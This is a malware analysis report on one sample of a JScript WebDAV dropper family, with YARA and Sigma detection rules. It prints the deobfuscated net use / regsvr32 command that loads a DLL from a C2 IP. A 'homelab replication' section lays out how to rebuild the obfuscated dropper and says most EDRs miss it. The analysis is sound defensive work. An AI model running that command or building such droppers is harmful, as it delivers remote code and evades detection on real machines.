unclassified-js-webdav-dropper: 92ce4217 — 36-entry noise-key dictionary, DavWWWRoot 88503242411784.dll

Executive Summary

Thirty-second confirmed sibling of the unclassified-js-webdav-dropper family. A 4.3 KB JScript dropper using a 36-entry noise-key dictionary obfuscation (fcyszym object) to assemble a cmd /k net use + regsvr32 /s chain against WebDAV C2 45.9.74.36:8888. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Static-only (JScript, not a PE). Tenth noise-key dictionary variant observed on this C2 IP.

What It Is

How It Works

1. Decoy trap — try{iobajbfp();}catch(hlmpsxx){...} forces the catch block (function undefined). ^[strings.txt:37]
2. Dictionary construction — Object fcyszym gets 36 key/value pairs mapping random noise strings (8–20 lowercase chars) to single ASCII characters. Examples: fcyszym['bgmnvcsutppyfwy']='c', fcyszym['szpasrpodwoxtgocidt']='8'. ^[strings.txt:1-36]
3. Global object access — Function('return this')() resolves to the WSH global (WScript). ^[strings.txt:37]
4. String assembly — The payload is built character-by-character via dictionary lookups with .toUpperCase() for uppercase letters. The assembled command is:

   cmd /k net use \\45.9.74.36@8888\DavWWWRoot\ && regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\88503242411784.dll
   

5. Execution — WScript.Shell.Run(..., 0, false) spawns the command hidden (window style 0, no wait). ^[strings.txt:37]

No PowerShell layer, no encoded command, no wordpad decoy, no persistence mechanism, no sandbox gate. One-shot execution.

C2 Infrastructure

Interesting Tidbits

• Object name fcyszym is random noise (6 chars). Other noise-key siblings use galo (df42ecf8), mcresythfgmletv (a435a37b), drqpclrtazhhywz (ade6cf68), iysqohpjciwm (be58d381), sqsecyprtszemhrr (b612dd70). Each build gets a fresh object name. ^[strings.txt:1]
• 36-entry dictionary — smaller than the 62-entry variants (e6ebae6a, cc90d6c, ccb2d007, df42ecf8, aac0198b5, a3419c27a). The 36-entry noise-key subset is now the dominant dialect on 45.9.74.36:8888 (10 of 15 siblings on this IP). ^[strings.txt:1-36]
• No .toUpperCase() for cmd — the lowercase command letters (c, m, d) are assembled directly; only W, S, C, R, O, S, h, e, l, l use .toUpperCase(). This is identical to other noise-key variants. ^[strings.txt:37]
• No split-C2 — both net use and regsvr32 target the same 45.9.74.36:8888 endpoint. The split-C2 pattern (cloudslimit.com vs cloudskimit.com) observed in fb353965 is absent here. ^[strings.txt:37]
• Payload filename length — 88503242411784.dll is 17 digits, consistent with the numeric DLL naming pattern across the family (e.g., 32238313189311.dll, 17629508829793.dll, 5047102111834.dll).

How To Mess With It (Homelab Replication)

1. Build a noise-key dictionary. Pick 36 random lowercase strings (8–20 chars) and map each to one ASCII character needed for your payload.
2. Encode the command. Replace every character in cmd /k net use \\45.9.74.36@8888\DavWWWRoot\ && regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\payload.dll with a dictionary lookup. Use .toUpperCase() for uppercase letters.
3. Wrap in decoy. try{undefined();}catch(e){ ... Function('return this')() ... }
4. Test on Windows. Double-click the .js file. Process Monitor should show wscript.exe → cmd.exe → net.exe → regsvr32.exe loading from UNC.
5. Verify EDR detection. Does your EDR flag regsvr32.exe with a UNC path? Most do not by default — this is the value of the technique.

Deployable Signatures

YARA

rule WebDAV_JS_Dictionary_Dropper {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup obfuscation"
        author = "PacketPursuit"
        date = "2026-06-30"
        hash = "92ce4217922acf56056745b6166725d5c01707658501873b2253d482a9db6481"
    strings:
        $dict_pattern = /[a-z]{6,20}=\[\];[a-z]{6,20}\['[a-z]{8,20}'\]='[a-zA-Z0-9]';/
        $global_construct = "Function(''+"
        $wscript_shell = "WScript.Shell"
        $davwwwroot = "DavWWWRoot"
        $regsvr32 = "regsvr32"
        $net_use = "net use"
    condition:
        filesize < 10KB and
        #dict_pattern > 20 and
        $global_construct and
        ($davwwwroot or $regsvr32 or $net_use)
}

Sigma

title: WebDAV Regsvr32 DLL Sideloading
status: experimental
description: Detects regsvr32 loading a DLL from a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'regsvr32'
            - 'DavWWWRoot'
            - '\\'
    condition: selection
falsepositives:
    - Legitimate remote COM registration in enterprise environments
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds a runtime dictionary of 36 noise-string keys mapped to single characters, then uses Function('return this')() to access the WSH global object and assemble a cmd /k net use \\<IP>@8888\DavWWWRoot\ && regsvr32 /s \\<IP>@8888\DavWWWRoot\<numeric>.dll command. The command is executed via WScript.Shell.Run with window style 0 (hidden). No PowerShell wrapper, no persistence, no sandbox gate. The family shows two dictionary sizes (36 and 62 entries) and multiple key-naming styles (noise strings, alliterative phrases, natural-language compounds).

Detection Signatures

References

• unclassified-js-webdav-dropper — family entity page
• js-dictionary-char-lookup-obfuscation — technique page for this obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

Analysis derived from static inspection of 92ce4217922acf56056745b6166725d5c01707658501873b2253d482a9db6481.bin (filename 27746239150168146.js). Tools: file (ASCII text, CRLF), exiftool (TXT, 37 lines), manual JScript deobfuscation via Python regex dictionary extraction. No PE tools applicable (capa, floss, Ghidra, radare2 skipped). CAPE detonation skipped — unsupported file type. All claims cite ^[strings.txt] line references or ^[file.txt] / ^[exiftool.json] / ^[triage.json] / ^[dynamic-analysis.md].